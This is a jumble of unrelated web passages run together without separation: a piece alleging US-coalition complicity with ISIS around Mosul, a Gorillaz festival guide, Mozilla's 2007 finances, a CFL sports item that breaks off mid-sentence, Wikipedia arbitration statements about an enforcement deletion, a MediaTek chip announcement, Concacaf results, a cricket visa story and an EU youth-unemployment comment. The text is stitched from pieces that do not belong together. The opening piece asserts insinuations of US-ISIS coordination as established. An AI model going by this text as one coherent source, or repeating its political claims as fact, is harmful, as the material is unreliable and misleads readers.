Though the decree refers to all aircraft in the area, the only active military aircrafts in and around Mosul are US-coalition planes. If ISIS is so intent on holding onto Mosul in Iraq, why would they not try to defend their territory by any means necessary? Why are US coalition planes being excluded? The answer could lie in how coalition planes, tasked with hitting ISIS targets, are frequently accused of hitting local militias and the Iraqi military instead, making their continued incompetence (or complicity, depending on your perspective) useful to the jihadist group.
For example, last month, a pro-government Iraqi militia was bombed by coalition planes near Mosul after they had successful repelled an ISIS offense, killing 21 and allowing ISIS to regain lost territory. The same has been true in Syria, where the US’ “Anti-ISIS” bombing campaign allowed ISIS to triple their land-holdings, that is until Russia joined the conflict and actually began targeting ISIS encampments on behalf of the Syrian government. As long as the US remains involved in military operations targeting ISIS, their true intentions will continue to remain dubious at best, especially if more evidence is uncovered that hints at coordination between the two.
Help Us Be The Change We Wish To See In The World.The internet is aflame! What is the source of this sordid soirée of swearing and sweat across the United Kingdom?
Gorillaz – our head honcho’s favourite band, and the world’s most successful animated outfit, have finally stepped an official Cuban heel from their West London door to announce a particularly special event.
2D, Murdoc, Noodle and Russel are officially off to Dreamland.
In an enormous venture, the band – egged on, no doubt, by long-time-collaborators Damon Albarn and Jamie Hewlett – are to hold their very own festival at the UK’s only Heritage Amusement Park – Dreamland, Margate. With three stages (full line up TBA), a vast array of food and drink stalls, full open amusements (including the world famous, 97 year old Scenic Railway) and the – as far as we currently know – first major public live show of Phase Four.
This has quite literally been years in the making, and has already provided a storm of excited press responses. But what do you actually need to know? Allow us to break it down for you…
What’s Dreamland?
Dreamland, Margate, is an independently run, coastal town centre heritage amusement park – the only one in the country – with a host of vintage, antique and practically ancient theme park rides from leisure periods past. It used to be one of the country’s number one holiday destinations, before the rise of the package holiday – and has now been restored into an almost whimsical caricature of theme park history. It’s becoming an increasingly popular venue for music festivals, and boasts some excellent transport links. We can’t think of anywhere quite as cool for Gorillaz to be! Expect popcorn, icecream, hot dogs and beer. The park is literally in the middle of town, approximately a drunken stumble from the train station.
The park has an event space capable of holding 15,000 people. Separate to this there’s a ballroom, roller disco space, corporate rooms and even VIP huts.
When is it happening?
June 10th, 2017. Doors open at 2PM and close at 10PM. Eight non-stop hours of monkey business. Based upon the usual status quo, we think there’ll be around three or four hours of live music. What will be filling the rest? Who knows. But we want on the Waltzers.
How much are tickets?
Base tickets – just for admission to the festival, full access of the Dreamland theme park and the numerous bars, stalls etc. are £60.
Priority tickets – for an extra £10, you can get into the park an hour earlier and see the sights of Dreamland and the festival quarters earlier than the peasantry.
Admission & Coach Zone 1 – For £85, you can catch the fabled steeds of the Demon Dayz coaches to and from Ashford or Canterbury – thus reducing traffic in the town centre and expanding your options for accommodation.
Admission & Coach Zone 2 – For £90, you can catch the aforementioned horseless carriages from Brighton, Crawley, Dartford, Eastbourne, Gillingham, Hastings, Maidstone or London Waterloo – and they’ll take you back, too, after the festival is over. This gives you a far greater chance of somewhere to stay or getting home. Not to mention that, as a Northerner, that basically sounds like the entirety of Southern England.
ALL TICKETS ARE NOW SOLD OUT
What’s the Line Up?
Gorillaz is as far as we’ve got. We’d guess at all of their past and present collaborators, too, but with such an eclectic range of influences, sounds and ideas under the band’s belt, it could quite literally be anything. There’s three stages, and across eight hours, that’s a potential goddamned ton of music. Early speculative nods are going to the likes of regular collaborators such as De La Soul – we pick them particularly as it’s a nice midway between the US and their dates in Barcelona a week later.
Wait, wasn’t Demon Days released in 2005? Is this just going to be Demon Days live?
No. Demon Dayz is just a good, catchy name for a festival. If you don’t get the new album performed from beginning to end, you’ll likely get an all-encompassing set from every phase of Gorillaz. As it’s such a special event, there may even be a surprise or two worked in.
What else can we expect?
God knows. Exhibitions? Music video premières? Meet and greets? There’s bound to be some element relating to the virtual group, and with a band carrying so much incredible visual history, it’d be very uncharacteristic not to provide some kind of glimpse into the characters. It must be remembered that this is no flash in the pan gig, this is a major event at a pretty huge venue with plenty of indoor areas, capable of holding hundreds of people. think big, and there’s every chance you’ll get it.
(That ballroom is perfect for an exhibition…)
How do I get there?
This is a little more complicated if you aren’t already from Southern England. The festival is laying on the aforementioned coaches, and there’s a park and ride system which you can book for a discount with your tickets. The town is only so big and restrictions are going to be in place to try and lift the strain from its infrastructure.
There’s trains to Margate from London during the day, but when the festival closes, the trains will be stopping, too. As a result, if you don’t have your own transport, or are trying to avoid paying coach fees, you should look for somewhere local to stay or a multi-hundred pound taxi fare…
Where will I stay?
There’s lots of local accommodation in Margate and the surrounding areas, and trains will continue to run to Dover and Canterbury. Most of it has been booked up for now, but cancellations are always likely. Look, we’ve tailored some links for you! Always be wary of places with bad reviews. British seaside hotels can be a bit rough at times.
When looking up your travel plans, remember – 14:00PM start, 22:00PM finish. Local trains will be running, but trains to London will not.
This is likely to be a one-off, once-in-a-lifetime event. Don’t miss it. We know we shan’t be!
Tickets sold out in an incredible ten minutes on Ticketmaster! Evidently Gorillaz have quite a following even after a six year absence.Mozilla Foundation chairperson Mitchell Baker has published Mozilla's financial statements for 2007. The organization and its corporate subsidiaries amassed $75 million in revenue, which is 12 percent more than the previous year. Baker believes that Mozilla's efforts will not be significantly disrupted by the current economic downturn.
Mozilla is a mission-oriented non-profit organization that aims to encourage the advancement of a standards-based open web. The central pillar of that mission is the open source Firefox web browser, which provides users with an alternative to Microsoft's dominant Internet Explorer. Firefox market share is growing rapidly and has helped accelerate the adoption of emerging web standards.
The organizations' revenue primarily comes from a lucrative search agreement with Google, which has been extended until 2011. Other sources of revenue include the revamped Mozilla store, affiliate programs, and interest on investments. The nature of Mozilla's agreement with Google has attracted the scrutiny of the IRS which is evaluating the organization's non-profit status.
Mozilla uses its resources to cover the cost of its staff and infrastructure. Total expenses for 2007 were $33 million, a 68 percent increase from 2006. Mozilla also shares some of its resources with external organizations; it handed out over $1 million in grants and donations in 2007, which is three times more than they donated in 2006. The recipients this year include the GNOME project, Creative Commons, Oregon State University, and Seneca College.
Mozilla expanded in many exciting ways during 2007. The number of daily Firefox users nearly doubled and the organization launched a new mobile initiative intended to bring the browser to a completely new market. Baker also noted that the project's geographic reach has increased—nearly half of all Firefox users run the browser in a language other than English. We have also seen Europe embrace Firefox in record numbers.
Growth in other countries is enabled by the efforts of community contributors, whose contributions were highlighted. "Our community remains healthy and vibrant. The percentage of code contributed to Firefox by people not employed by Mozilla remained steady at about 40% of the product we ship," Baker wrote. "This is true despite a significant amount of new employees in 2007. Our geographic expansion is powered by active and committed volunteers, from the localizers to Spread Firefox participants to others who introduce Firefox to new people."
Mozilla's Christopher Blizzard, commenting on Baker's report, notes that the inclusiveness of the Mozilla project and the growing diversity of the web ecosystem are both signs that Mozilla is in a very healthy state. He believes that renewed competition and the emergence of compelling new browsers help serve Mozilla's ultimate goals.
"We use the funds that we gather to grow both the user base (which helps us drive our mission) but also to enable and grow a community that also shares the same values that we do," he wrote in a blog entry. "Much of that effect can be felt in direct market share numbers—people directly using Firefox. But Mitchell's post also mentions something else as well. That releases by other market players who have to compete with us also help us meet our mission in keeping the Internet alive and vibrant."
Indeed, the benefits of competition are enormous. Users have watched in awe as the major browser vendors race to reduce memory consumption, boost JavaScript performance, and reach even higher levels of standards compliance.Jeremiah Johnson signed as a free agent, expecting he could play all 18 regular season games for the B.C. Lions. Wally Buono, as we’ve seen this year, had other plans.
After going through a fairly consistent rotation with fellow running back and off-season signing Anthony Allen, with one sitting out in favour of the other for two or three straight games in order to keep both relatively fresh and healthy, the 29-year-old Johnson can see at the end of the season a benefit to Buono’s method.
Buono is quick to point out that his approach isn’t contrived out of benevolence. Performance also factors into the decision. But it’s not often to hear a running back use the term “unscathed” to describe their health this late in the season and with playoffs on the horizon.
“Early on in the season, it was tremendous,” said Johnson, who did miss time in July with an ankle injury, giving Allen a chance to start three straight games in the Lions back field.
“To actually go out for two or three games and give it all you’ve got knowing you can rest for a couple of weeks, it was most definitely |
. Now quoting from the arbitration policy, which under the heading "policy and precedent", reads: " The arbitration process is not a vehicle for creating new policy by fiat. The Committee's decisions may interpret existing policy and guidelines, recognise and call attention to standards of user conduct, or create procedures through which policy and guidelines may be enforced. The Committee does not rule on content, but may propose means by which community resolution of a content dispute can be facilitated. " (emphasis added) The Committee members now arguing that content deletion is in fact within the scope of arbitration enforcement are engaging in modifying the deletion policy by fiat. While GoldenRing and the members of the Committee may have very good reasons for wanting to allow content deletion as an arbitration power, the deletion policy does not currently permit this and the arbitration policy explicitly forbids it. If the Committee wishes to reserve these powers for itself, a community discussion is required to modify both policies. Unless and until those discussions happen, the Arbitration Committee is not authorized to delete pages, and likewise has no power to authorize administrators to unilaterally delete pages in the name of Arbitration enforcement. Following on that argument, GoldenRing's deletion must be considered to have been performed under the auspices of speedy deletion, since arbitration enforcement cannot authorize that action, and there was no discussion. It is very clearly stated in the community's policies that the venue to dispute a deletion, speedy or otherwise, is WP:DRV. The Committee insisting that this deletion can only be appealed to the Committee is, again, modifying policy by fiat. Ivanvector (Talk/ Edits ) 18:16, 26 February 2019 (UTC)
Statement by Doug Weller [ edit ]
I agree with Ivanvector. Such a deletion is not within the scope of discretionary sanctions. Perhaps an Arbitrator with a longer memory than I have may find such a procedure but I'd be surprised. Certainly it was not authorised by us during the four years I was on the committee. I think everyone has acted in good faith with this but I believe that GoldenRing was wrong and that the page should not have been deleted. I've looked at the page and agree with those who say that the content does not violate policy. I'll also note that no editors have been named although obviously they can be identified via the links. I'll add that even if it hasn't been used it is information that has the potential to be useful. Doug Weller talk 17:10, 25 February 2019 (UTC)
Statement by Black Kite [ edit ]
I can think of situations whereby deletion would be in the purview of an AE action (for example, if a topic-banned editor was violating their TBan on a userspace page) but I agree with the two editors above that I can't see that this falls into this category. It is probably something that ArbCom could do with clarifying for future reference. Black Kite (talk) 17:28, 25 February 2019 (UTC)
SilkTork: SOP to undelete pages whilst they are at DRV so that non-admins can assess whether the close was correct - for example, whether a CSD deletion actually met the CSD criteria, or in the case of AfD whether the discussion comments were actually valid. In this case, with no AFD or standard CSD, then assuming the DRV is valid the page would have to be visible as otherwise no non-admins could make any judgement about the deletion. Black Kite (talk) 18:24, 25 February 2019 (UTC)
Statement by Levivich [ edit ]
If no harm would arise from having this page discussed at MfD, then it should be discussed at MfD, rather than deleted by any one person's unilateral action. Obviously both admin acted in good faith in a situation that is unclear and possibly unprecedented; any suggestion of sanctions would be over the top. Leviv ich 18:01, 25 February 2019 (UTC)
Statement by RexxS [ edit ]
If an administrator erroneously deletes a page as an Arbitration Enforcement, when the page is not eligible for deletion under that criterion, they cannot claim the usual immunity to reversion of the action that we reserve for justified AE actions. From GoldenRing's own statement, the relevant criterion upon which they are relying is:
Users should generally not maintain in public view negative information related to others without very good reason. Negative evidence, laundry lists of wrongs, perceived flaws, collations of diffs and criticisms related to problems, etc., should be removed, blanked, or kept privately... (my emphasis)
But nobody reading Special:Permalink/881981663 carefully would conclude that information on that page is " related to others ". All of the information therein is related to articles, and there is no Arbitration Enforcement available to prevent editors from gathering quotes or diffs from articles or from article talk. We prevent users from gathering negative information about others, for reasons of BLP, but that is not licence to extend the prevention to collating article text. 'Shonen's restoration of the deleted page to allow scrutiny does not breach WP:BLP or WP:COPYVIO (the only absolute prohibitions on restoration), and meets the test of COMMONSENSE.--RexxS (talk) 19:28, 25 February 2019 (UTC)
Response to GoldenRing. Contrary to what you think, BLP and COPVIO are the only absolute prohibitions to undeletion of content for obvious reason, see Wikipedia:Deletion review #Temporary undeletion where this is documented. Any other prohibition is subject to IAR and'sanctions.modify' is no exception. It is merely a procedure of the Arbitration Committee and has no status greater than WP:policies and guidelines (which actually don't even recognise 'procedure of the Arbitration Committee' as policy or guideline). ArbCom must not confer on itself greater powers than the community is pleased to grant. It is free to create its own procedures, but does not have authority to create policy: that is the prerogative of the community. In the case of a conflict between a guideline like Wikipedia:Deletion process and an ArbCom procedure, then I suggest common sense needs to be the tie-breaker. The damage done to the encyclopedia by denying undeletion of a page when requested at DRV need to be balanced against the damage done to the encyclopedia by a temporary undeletion. In this case, the balance is obviously in favour of allowing undeletion. "All enforcement actions have what you describe as "the usual immunity to reversion", whether they are valid or not." I refute that. To misquote Jimbo, the presumption of validity is not a suicide pact. If a claimed AE action is obviously invalid, as yours was, then a reversion of that action in order to comply with a conflicting policy or guideline is perfectly reasonable. Even you recognise that 'Shonen's actions were reasonable. I concede your point that BLP concerns are not the only reasons to disallow collections of negative information about other users; although that would be the rationale behind collections of negative information about living persons who were not editors. I completely deny your last point. All content in the encyclopedia is provided by editors: that is undeniably not what was intended by Users should generally not maintain in public view negative information related to others, otherwise no quotes would ever be allowed. The sophistry is in trying to stretch those words to justify deleting a page that quotes hundreds of different editors, and cannot sensibly be construed to contain negative information about those editors. Any such connotation is purely in the mind of the observer, and you've made the mistake of construing talk page comments critical of an article or of statements in that article as "negative information" about the editors who made the comments. The elephant in the room is actually your error in attempting to convert a possibly justifiable deletion of a page (by normal process) into an AE action. AE actions were granted the privilege of immunity from reversion for a particular reason (the problems of second-mover advantage), in order to solve intractable problems of civility enforcement. Admins must be careful not to abuse that privilege by claiming AE action in borderline or invalid cases, otherwise the community may lose faith in the necessity for having such an exemption to normal admin procedures (WP:WHEEL). --RexxS (talk) 00:18, 26 February 2019 (UTC)
Statement by S Marshall [ edit ]
I think this matter raises novel issues about procedure. Wikipedian culture takes deleting pages very seriously, and deleting a page out of someone's userspace feels quite violative to me. I was appalled to learn that a page that purports to describe the rules says that AE deletions can be reviewed at the AN but not at DRV. I feel that in the (probably relatively rare) situation where it's appropriate to review an AE deletion without direct scrutiny from Arbcom, then the most correct venue would be DRV. But I also feel that deleting a page as an AE action is the kind of thing that Arbcom should normally supervise directly, because an AE action should normally be about an editor's behaviour rather than a matter of content. Therefore the scrutiny should normally happen here.— S Marshall T/C 21:01, 25 February 2019 (UTC)
SilkTork: diff). I also don't fully agree with my friends RoySmith, Hobit, SmokeyJoe et. al. when they say DRV is mainly about content. I feel that what DRV is mainly about is the analysis and critique of sysop judgement calls and use of discretion. Interestingly, in the decade or so since I became heavily involved in DRV, we've never reached a consensus to ask Arbcom to desysop anyone -- which is why there's never really been any overlap between the two venues. We've found wrong calls, because sysops are only human, but we've never found serious misuse of the mop.— S Marshall T/C 12:17, 26 February 2019 (UTC)
Statement by User:SmokeyJoe [ edit ]
This clarification is not about Gun control, but is about whether, in general, page deletion is a reasonable measure of arbitration enforcement Page deletion is not a reasonable measure of arbitration enforcement. Certainly not if the page is not directly subject to an ArbCom ruling. Exceptions would be considered extraordinary. If page deletions were subject to AE admin arbitrary unilateral deletion, this would amount to a secret punishment. The user involved can't read the page deleted. The wider community can't read what was deleted. What is going on here is a turf war over the powers and scope of ArbCom. Not by ArbCom directly, but by their delegates, which is worse. ArbCom is supposed to stay out of content decisions. Deleting a page containing content is most definitely a content action. This page in question, while not content per se, is a page directed at content decisions. That's pretty close to content. This issue is the same as the deletion of Universa Blockchain Protocol, discussed at Wikipedia:Deletion review/Log/2018 July 9. That one was overtly a content page issue. I think this is resolved with agreement that deletions like this should additionally cite WP:CSD#G11, which was agreed in hindsight to have applied. WP:Deletion policy is written in clear cut language. WP:CSD is even clearer: "The criteria for speedy deletion (CSD) specify the only cases in which administrators have broad consensus to bypass deletion discussion, at their discretion, and immediately delete Wikipedia pages or media. They cover only the cases specified in the rules here." If ArbCom AE admins also have deletion discretion, add it to CSD, for the record, and to ensure that the community is on the page. ArbCom should not be responsible for undermining the validity or respect afforded to WP:Deletion policy. WP:DRV is a long standing very successful forum and process. It is not an enforcement process, but a continuing education exercise. A measure of its success is that lack of repeat culprits being dragged through it. DRV is the highest court for content decisions. There is no cause for carving out deletions that are not reviewable by DRV. {{Temporarily undeleted}} is an essential part of DRV if you consider nonadmins to important in the management of the project. There is already a sufficiently conservative culture at DRV for being responsible with copyright, attacks, and BLP issues. --SmokeyJoe (talk) 01:03, 26 February 2019 (UTC) AE action to blank the page, protect the page, and block every user associated with the page, would not have been offensive to WP:Deletion policy. —SmokeyJoe (talk) 12:33, 26 February 2019 (UTC) "Such deletions do not need to meet our deletion policy". AE deletions do not need to meet policy? Policy does not need to read at face value? What is the policy on AE deletions? ArbCom has broad monarchical reserve powers, but to use them to authorize delegated policy-exempt CSD? That's a characteristic of a police state. --SmokeyJoe (talk) 00:56, 27 February 2019 (UTC) Agree with Cryptic and RoySmith that policy clarity would be a good thing. Documentation at WP:CSD#G9 pointing to WP:AC/DS would be a good thing. It would mean that Twinkle could easily link to it. --SmokeyJoe (talk) 03:00, 27 February 2019 (UTC)
Statement by Hobit [ edit ]
The basis for deletion comes from WP:UP. That same page says "In general other users' user pages are managed by that user. Except for blatant or serious matters, it is preferable to try contacting the user before deletion (see above). However, unambiguous copyright violations, attack pages, promotional text, and privacy or BLP violations can be speedy deleted using a suitable template, such as {{db-attack}}, {{db-copyvio}} or {{db-spamuser}}; other pages likely to require deletion (or where remedial action is not taken) may be submitted to deletion discussion. Justifying a deletion by citing policy and then not following the policy for how to go about deletion seems problematic at best.
The reason for deletion is not a speedy criteria. And standard DS do not allow for deletion of a page as near as I can tell. I only see one other deletion in WP:AEL and that was justified on A7/BLP grounds. As S Marshall has indicated, AE enforcing admins very much deserve our support and I'm personally grateful to those that take on such a demanding and stressful job. But here there is overreach outside of the scope of either a single admin or AE. There was no rush and no reason WP:MfD couldn't have been used (where I suspect it would have been kept).
In any case, I agree with Roy (below)--this is about content not behavior. The discussion belongs at DRV. edited Hobit (talk) 04:45, 26 February 2019 (UTC) Hobit (talk) 01:55, 26 February 2019 (UTC)
Statement by RoySmith [ edit ]
I don't often get involved in ArbCom business, so forgive me if I'm not up on the nuances of policy and procedure here. But, reading what User:SmokeyJoe said above: ArbCom is supposed to stay out of content decisions, I find myself very much in agreement. The converse is certainly true; DRV deals with content, and stays out of behavioral issues. It's common in DRV debates for somebody to write, We're only here to talk about the page deletion; if you want to pursue a user's conduct, there's other fora for that. This seems like a natural and useful division of responsibilities, and why it seems odd to be talking about ArbCom getting involved in reviewing a page deletion.
I don't think it was appropriate to delete the user page. I also think it was perfectly reasonable (and SOP at DRV) to temp-undelete the page for review. I also want to echo what others have said; while there's clearly a disagreement about what the proper course of action should have been, it's also clear that everybody has acted in good faith here. There should be no thought of sanctions for anybody. -- RoySmith (talk) 03:03, 26 February 2019 (UTC)
I've done a lot more reading of the full history of this. My earlier comments notwithstanding, I agree with User:SilkTork that having two parallel discussions in different forums is a bad idea. At this point, I suggest that DRV defer to ArbCom on this one. -- RoySmith (talk) 15:29, 26 February 2019 (UTC)
User:Cryptic is exactly right. If the end result of this is to confirm that AE can include speedy deletion, then WP:CSD needs to add a category for it. My big fear (as somebody who also does a lot of temp-undeleting at DRV) is that given the current discussion, I could very easily see myself having undeleted this and then finding that I'd accidentally run afoul of a policy I didn't really understand, and put my mop at risk. If this fell under WP:G9, or a new G-whatever specifically for AE, it would have been clear that this was out of bounds. Clarity is a good thing. -- RoySmith (talk) 02:48, 27 February 2019 (UTC)
Statement by Sandstein [ edit ]
While I disagree with GoldenRing on the merits of the deletion, I agree with their submission of 16:22, 26 February 2019 in that the Committee should clarify whether deletions (other than those already allowed by ordinary deletion policy) are in principle allowed as discretionary sanctions, and whether any review of deletions labeled as discretionary sanctions must take place by way of the procedures for the appeal of AE actions. In my reading of applicable policy, the answer to both questions is clearly yes, but the opinions to the contrary that have been voiced at DRV show that this question needs clarification. Sandstein 16:36, 26 February 2019 (UTC)
Statement by Cryptic [ edit ]
I've performed I'd guess around a quarter of the temporary undeletions at DRV over the past few years. Contra what's been stated both above and below, it's neither an absolute right (even barring copyvio and blp - there's been a number of cases where no admin's been willing to tempundelete in the cases of egregious spam, for example; I can dig out some example DRVs if it'd be helpful) nor, in particular, automatic: in practice we almost always wait until an uninvolved user requests it. I don't recall ever seeing the author of a page requesting temp undeletion for the purposes of DRV before; even had this deletion not been labeled an AE action, I'd certainly have declined, though I might have offered to email it. —Cryptic 20:57, 26 February 2019 (UTC)
Dialing my wonk-o-meter up to 11, I'm not seeing anywhere in WP:Protection policy that authorizes arbcom to authorize admins to protect pages, either. (It does mention arbcom with respect to unprotections, and very indirectly for extended-confirmed protections.) So the idea that arbcom can't authorize deletions just because it's not explicitly stated in WP:Deletion policy or WP:Criteria for speedy deletion doesn't get a whole lot of sympathy from me. That said, if the committee ends up deciding this deletion was correct, I'll go through the hassle at WT:CSD to try to get this properly documented, probably as a variant of WP:G9. —Cryptic 22:07, 26 February 2019 (UTC)
Statement by GMG [ edit ]
If we're going to allow that ACDS is legitimate grounds for out-of-process deletion, then we're probably approaching the point where we've abandoned the pretense that ArbCom does not make policy. GMGtalk 01:18, 27 February 2019 (UTC)
To be fair, I've been saying for a while now that ACDS is also wholesale rewriting of our blocking and banning policy, but I think most people have just gotten used to it. So I don't expect most people will take this comment seriously, and if they do, it's just because the water got a little hotter than they're accustomed to yet. But them's the breaks when you allow ArbCom to rewrite policy while claiming they don't write policy. G M G talk 01:50, 27 February 2019 (UTC)
Statement by {other-editor} [ edit ]
Other editors are free to make relevant comments on this request as necessary. Comments here should opine whether and how the Committee should clarify or amend the decision or provide additional information.
Gun control: Clerk notes [ edit ]
This area is used for notes by the clerks (including clerk recusals).
Recuse obviously. GoldenRing (talk) 15:43, 25 February 2019 (UTC)
Gun control: Arbitrator views and discussion [ edit ]
I'm still looking into the aspects of this, but as a general principle AE does give admins the discretion to " impose on any page or set of pages relating to the area of conflict page protection, revert restrictions, prohibitions on the addition or removal of certain content (except when consensus for the edit exists), or any other reasonable measure that the enforcing administrator believes is necessary and proportionate for the smooth running of the project", and if the admin considers that the "other reasonable measure" is deletion of a page, that would for me fall within the admin's discretion, so my response to point 1 is yes. That does not mean I think this current deletion is appropriate or reasonable, but that the principle of page deletion is within an AE admin's discretion. And it is important that the community adheres to ArbCom processes such that any ArbCom sanction can only be reversed by following appropriate procedures. So a) undoing an ArbCom enforcement without authority for doing so is a violation of the process, and b) appealing the enforcement in a venue other than the appropriate one is a violation of the process. As such for point 2 my response is yes in principle, and for point 3, it is no in principle. It is sometimes that an AE admin makes a mistake, and the process do allow for other users to question page restrictions, but they should follow process. As for this particular incident - were all the due processes followed? Was Dlthewave given an appropriate warning that DS applied to the page under question? And was the template Template:Ds/editnotice applied to the page in question? I am still looking at the page in question, and would like some more rationale behind why the page was considered to fall foul of "believes is necessary and proportionate for the smooth running of the project". What was the particular harm you saw in the page GoldenRing? My thinking at this stage, even with a convincing rationale for the page deletion, is that the unusual nature of the page restriction (deletion) and lack of clarity in this matter is such that I am not seeing any sanctionable behaviour for Bishonen's advice to take the matter to DRV. As regards undeleting the page. It's been a while since I got involved in DRV, but I don't recall it being a part of the process that pages were undeleted. And while we do give admins discretion to userfy pages on request, I don't think it should be considered that undoing an AE enforcement without first getting clear consensus at an appropriate venue is something ArbCom would be willing to overlook. That may have been a step too far, even with the confusions about the process. Bishonen, could you give us some of your thinking behind why you undeleted the page? SilkTork (talk) 18:16, 25 February 2019 (UTC)
Black Kite: Are all articles automatically undeleted for DRV, or is it just a selected few? And if it is a selected few what is the criteria for undeleting, and on average what percentage of articles are undeleted? SilkTork (talk) 19:00, 25 February 2019 (UTC)
SilkTork (talk) 19:00, 25 February 2019 (UTC) Bishonen: requested. I strike my questions to Black Kite, as your response has given me the appropriate information. SilkTork (talk) 19:05, 25 February 2019 (UTC)
requested. I strike my questions to Black Kite, as your response has given me the appropriate information. SilkTork (talk) 19:05, 25 February 2019 (UTC) Because of the unique nature of this AE action I'm not seeing that Bishonen has done anything sanctionable, though for the avoidance of future doubt, if my colleagues agree with me, I think we need to make it clear that nobody should undo an AE action without first getting clear consensus to do so at an appropriate venue. SilkTork (talk) 19:08, 25 February 2019 (UTC)
Thanks GoldenRing. I phrased my question awkwardly. I can see why you had concerns about the page, what I'm asking really is why you felt the need to delete the page rather than raise your concerns with Dlthewave, or blank it, or amend it in some other manner. Your deletion, albeit done under AE, was a speedy deletion. The closest justification under speedy is G10. Did you (do you still) feel that G10 was the rationale for deletion? Or was it purely based on the user page policy, which says that negative material should be removed or blanked, but doesn't say deleted. It is the decision to delete rather than use other options that I'd like to hear your thinking on. While I support in principle the notion that an AE admin have within their discretion the option to delete a page, my thinking is this should be done within policy, so I'm looking for the policy that allows deletion in this instance. At the moment I'm seeing a page that can be considered to be of concern, but it appears to me that the appropriate solution would be discussion about the page rather than deletion of the page. I've not looked closely - is there discussion about the page that you can direct us to? SilkTork (talk) 08:42, 26 February 2019 (UTC)
Thanks GoldenRing, that makes things a lot clearer. My thinking is that everyone here has acted in good faith and with a view that what they were doing was within policy and procedure. While I feel that in principle an AE admin can delete a page as part of DS, that such a deletion should meet with policy, and if the deletion is not to go through a community discussion process (ie, is a Speedy deletion), then such a deletion should meet Speedy criteria. So, as in this case the deletion was not done under Speedy, the page should instead have been blanked. As this deletion was done under AE, albeit - in my opinion - inappropriately, it should be discussed at WP:AE rather than DRV. At the moment we have discussion at both DRV and AE. Rather than create a constitutional crisis, one venue or other should give up the right to discuss it; or perhaps, GoldenRing, you could reflect on if an AE enforced blanking serves the purpose as well as a deletion, and agree on the DRV that it can be undeleted, so we can resolve that discussion there, and you can then blank the page under AE and Dlthewave can appeal the blanking at AE. SilkTork (talk) 12:10, 26 February 2019 (UTC)It'll be a while before MediaTek's true octa-core SoC makes its glorious arrival, but for the time being, the company's unveiling something just as interesting -- and perhaps more practical. The new MT8135 announced today is a "quad-core" SoC aimed at "the middle- to high-end tier of the tablet OEM market." We quote "quad-core," because it actually consists of two clusters: dual Cortex-A15 cores and dual Cortex-A7 cores. But the good news is that unlike the original big.LITTLE configuration where only one cluster can operate at any given time (depending on how heavy the workload is), MediaTek's confirmed that it has implemented big.LITTLE MP ("MP" as in heterogeneous multi-processing) in the MT8135, meaning both the A15 and the A7 clusters can operate simultaneously.
Another highlight of this MT8135 is that it'll be one of the first SoCs -- alongside LG's H13 (which we've seen first-hand), Renesas' APE6 and Renesas' R-Car H2 -- to come with Imagination Technologies' almighty PowerVR Series6 GPU. Specifically, this is the PowerVR G6200 which, as part of the MT8135, can apparently deliver "up to four times more ALU (arithmetic logic unit) horsepower" than the Series5XT GPU on the cheaper, quad-A7 MT8125. And unsurprisingly, the MT8135 gets the same Miracast wireless video goodie given to the MT8125; though it's also worth noting that the latter only supports LPDDR2 RAM instead of the more powerful LPDDR3.
Sadly, there's no further information regarding availability, but you can kill some time by checking out more technical details in the video (with benchmarks; even though Qualcomm's been mysteriously left out) and press releases after the break.by Paul Kennedy @pkedit, Nov 17, 2015
Johan Venegas
Oscar Duarte
Celso Borges
Jose Calderon
WCQ: Concacaf Schedule
Panama, which opened World Cup 2018 qualifying with a 2-0 win at Jamaica, can consolidate its position with a win on Tuesday when it hosts Costa Rica, which will be without the Montreal Impact'sand, who were all injured in the 1-0 win over Haiti.The Canaleros' win over Jamaica ended a 12-game winless streak, dating back to March. (They finished third at the Gold Cup without winning the ground.)Former LA Galaxy goalkeeper Jaime Penedo has rejoined Panama, which startedagainst Jamaica.Canada looks to build on its 1-0 win over Honduras when it plays at El Salvador, which is dealing with a player strike. Just 2,000 tickets have been sold for the game at San Salvador's Estadio Cuscatlan.The loss to Canada has put the pressure on Honduras, which hosts Mexico in San Pedro Sula, where it has not lost to El Tri since 1965.Honduras vs, MexicoEl Salvador vs. CanadaHaiti vs. JamaicaPanama vs. Costa RicaTrinidad & Tobago vs. USASt. Vincent & Gren. vs. Guatemala
WCQ: Concacaf Results
GROUP A
Nov. 13 in Vancouver, B.C.
Canada 1 Honduras 0. Goal: Johnson 38.
Nov. 13 in Mexico City
Mexico 3 El Salvador 0. Goals: Guardado 7, H.Herrera 42, Vela 64.
GROUP B
Nov. 13 in San Jose
Costa Rica 1 Haiti 0. Goal: Gamboa 29.
Nov. 13 in Kingston
Jamaica 0 Panama 2. Goals: Cooper 43, own goal 52.
GROUP C
Nov. 13 in St. Louis
USA 6 St. Vincent & Gren. 1. Goals: Goals: Wood 11, Johnson 29, Altidore 31, 74, Cameron 51, Zardes 58; Anderson 5.
Nov. 13 in Guatemala City
Guatemala 1 Trinidad & Tobago 2. Goals: Mejia 90; Hyland 67, K.Jones 80.McCullum Says, Amir should be given ‘benefit of doubt’
Left Arm Fast Bowler Amir Should be given ‘benefit of doubt’ says New Zealand Captain “McCullum”. Previously PCB was seeking for legal advice for Amir.
Amir has been selected for upcoming matches in New Zealand starting from January 15. However his participation is under consideration due New Zealand immigration rules allowing him for visa.
McCullum said,
“He was a very young man at the time and he’s gone through a sound rehabilitation program.”
He further added,
“If he gets out on the field against us, then you play against the man you’re playing against, not a man who may have made some mistakes as a youngster.”
Chief Executive of New Zealand said,
“He was a very, very young man, a boy really (when he was suspended). He showed remorse at the time, admitted to it. He’s gone through all the rehabilitation and education as prescribed by the ICC. I’m personally comfortable with him coming to New Zealand and playing.”
White Added,
“I’m personally comfortable with him coming to New Zealand and playing.”
An application asking for the approval or requesting for Visa for Amir for New Zealand has not yet been received, statement issued by New Zealnad’s immigration department.
It is further observed and likely to be in favor of Amir that he gets approval for which the decision has to be taken next week.Christoph Hasselbach reports from DW's Brussels office
Up to 6 billion euros ($7.8 billion) over two years for a guaranteed education across the EU - that really is hardly more than a drop in the ocean. Even if the amount is raised to the envisioned 8 billion euros, it is not really a lot of money. Compared to the amounts EU states mustered over the past years to save the banks, or compared to EU expenses for agriculture, the 6 billion or 8 billion euros look like a joke.
Many young people without a job will draw such comparisons. Many feel left out, the victims of European austerity policies. In particular in the southern European nations hit by the crisis, the problem of youth unemployment is not just a social scandal, it could develop a dangerous potential for the stability of the societies and the European concept.
Dual system
The special program is not much more than a symbol, albeit an important and necessary one intended to show young people that the governments have not simply written them off. But can anything be achieved with the money? Nothing at all is gained if the funds are used up in short-term projects designed to put a gloss on unemployment figures. Changing the structures of education would move the situation along a step.
